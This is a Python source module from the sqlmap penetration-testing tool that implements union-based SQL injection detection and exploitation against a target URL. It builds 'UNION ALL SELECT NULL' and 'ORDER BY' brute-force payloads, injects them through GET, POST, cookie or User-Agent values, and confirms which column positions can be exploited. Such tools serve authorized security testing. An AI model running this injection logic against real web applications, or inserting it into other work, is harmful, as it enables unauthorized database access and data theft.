#!/usr/bin/env python """ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. Copyright (c) 2007-2009 Bernardo Damele A. G. Copyright (c) 2006 Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation version 2 of the License. sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with sqlmap; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA """ from lib.core.agent import agent from lib.core.common import randomStr from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.session import setUnion from lib.core.unescaper import unescaper from lib.parse.html import htmlParser from lib.request.connect import Connect as Request def __unionPosition(negative=False, falseCond=False): if negative or falseCond: negLogMsg = "partial (single entry)" else: negLogMsg = "full" infoMsg = "confirming %s inband sql injection on parameter " % negLogMsg infoMsg += "'%s'" % kb.injParameter if negative: infoMsg += " with negative parameter value" elif falseCond: infoMsg += " by appending a false condition after the parameter value" logger.info(infoMsg) # For each column of the table (# of NULL) perform a request using # the UNION ALL SELECT statement to test it the target url is # affected by an exploitable inband SQL injection vulnerability for exprPosition in range(0, kb.unionCount): # Prepare expression with delimiters randQuery = randomStr() randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery) randQueryUnescaped = unescaper.unescape(randQueryProcessed) # Forge the inband SQL injection request query = agent.forgeInbandQuery(randQueryUnescaped, exprPosition) payload = agent.payload(newValue=query, negative=negative, falseCond=falseCond) # Perform the request resultPage, _ = Request.queryPage(payload, content=True) # We have to assure that the randQuery value is not within the # HTML code of the result page because, for instance, it is there # when the query is wrong and the back-end DBMS is Microsoft SQL # server htmlParsed = htmlParser(resultPage) if randQuery in resultPage and not htmlParsed: setUnion(position=exprPosition) break if isinstance(kb.unionPosition, int): infoMsg = "the target url is affected by an exploitable " infoMsg += "%s inband sql injection vulnerability" % negLogMsg logger.info(infoMsg) else: warnMsg = "the target url is not affected by an exploitable " warnMsg += "%s inband sql injection vulnerability" % negLogMsg if negLogMsg == "partial": warnMsg += ", sqlmap will retrieve the query output " warnMsg += "through blind sql injection technique" logger.warn(warnMsg) def __unionConfirm(): # Confirm the inband SQL injection and get the exact column # position if not isinstance(kb.unionPosition, int): __unionPosition() # Assure that the above function found the exploitable full inband # SQL injection position if not isinstance(kb.unionPosition, int): __unionPosition(falseCond=True) # Assure that the above function found the exploitable partial # (single entry) inband SQL injection position by appending # a false condition after the parameter value if not isinstance(kb.unionPosition, int): __unionPosition(negative=True) # Assure that the above function found the exploitable partial # (single entry) inband SQL injection position with negative # parameter value if not isinstance(kb.unionPosition, int): return else: conf.paramNegative = True else: conf.paramFalseCond = True def __forgeUserFriendlyValue(payload): value = "" if kb.injPlace == "GET": value = "%s?%s" % (conf.url, payload) elif kb.injPlace == "POST": value = "URL:\t'%s'" % conf.url value += "\nPOST:\t'%s'\n" % payload elif kb.injPlace == "Cookie": value = "URL:\t'%s'" % conf.url value += "\nCookie:\t'%s'\n" % payload elif kb.injPlace == "User-Agent": value = "URL:\t\t'%s'" % conf.url value += "\nUser-Agent:\t'%s'\n" % payload return value def __unionTestByNULLBruteforce(comment): """ This method tests if the target url is affected by an inband SQL injection vulnerability. The test is done up to 50 columns on the target database table """ columns = None value = None query = agent.prefixQuery(" UNION ALL SELECT NULL") for count in range(0, 50): if kb.dbms == "Oracle" and query.endswith(" FROM DUAL"): query = query[:-len(" FROM DUAL")] if count: query += ", NULL" if kb.dbms == "Oracle": query += " FROM DUAL" commentedQuery = agent.postfixQuery(query, comment) payload = agent.payload(newValue=commentedQuery) seqMatcher = Request.queryPage(payload, getSeqMatcher=True) if seqMatcher >= 0.6: columns = count + 1 value = __forgeUserFriendlyValue(payload) break return value, columns def __unionTestByOrderBy(comment): columns = None value = None for count in range(1, 51): query = agent.prefixQuery(" ORDER BY %d" % count) orderByQuery = agent.postfixQuery(query, comment) payload = agent.payload(newValue=orderByQuery) seqMatcher = Request.queryPage(payload, getSeqMatcher=True) if seqMatcher >= 0.6: columns = count elif columns: value = __forgeUserFriendlyValue(prevPayload) break prevPayload = payload return value, columns def unionTest(): """ This method tests if the target url is affected by an inband SQL injection vulnerability. The test is done up to 3*50 times """ if conf.uTech == "orderby": technique = "ORDER BY clause bruteforcing" else: technique = "NULL bruteforcing" infoMsg = "testing inband sql injection on parameter " infoMsg += "'%s' with %s technique" % (kb.injParameter, technique) logger.info(infoMsg) value = "" columns = None for comment in (queries[kb.dbms].comment, ""): if conf.uTech == "orderby": value, columns = __unionTestByOrderBy(comment) else: value, columns = __unionTestByNULLBruteforce(comment) if columns: setUnion(comment, columns) break if kb.unionCount: __unionConfirm() else: warnMsg = "the target url is not affected by an " warnMsg += "inband sql injection vulnerability" logger.warn(warnMsg) return value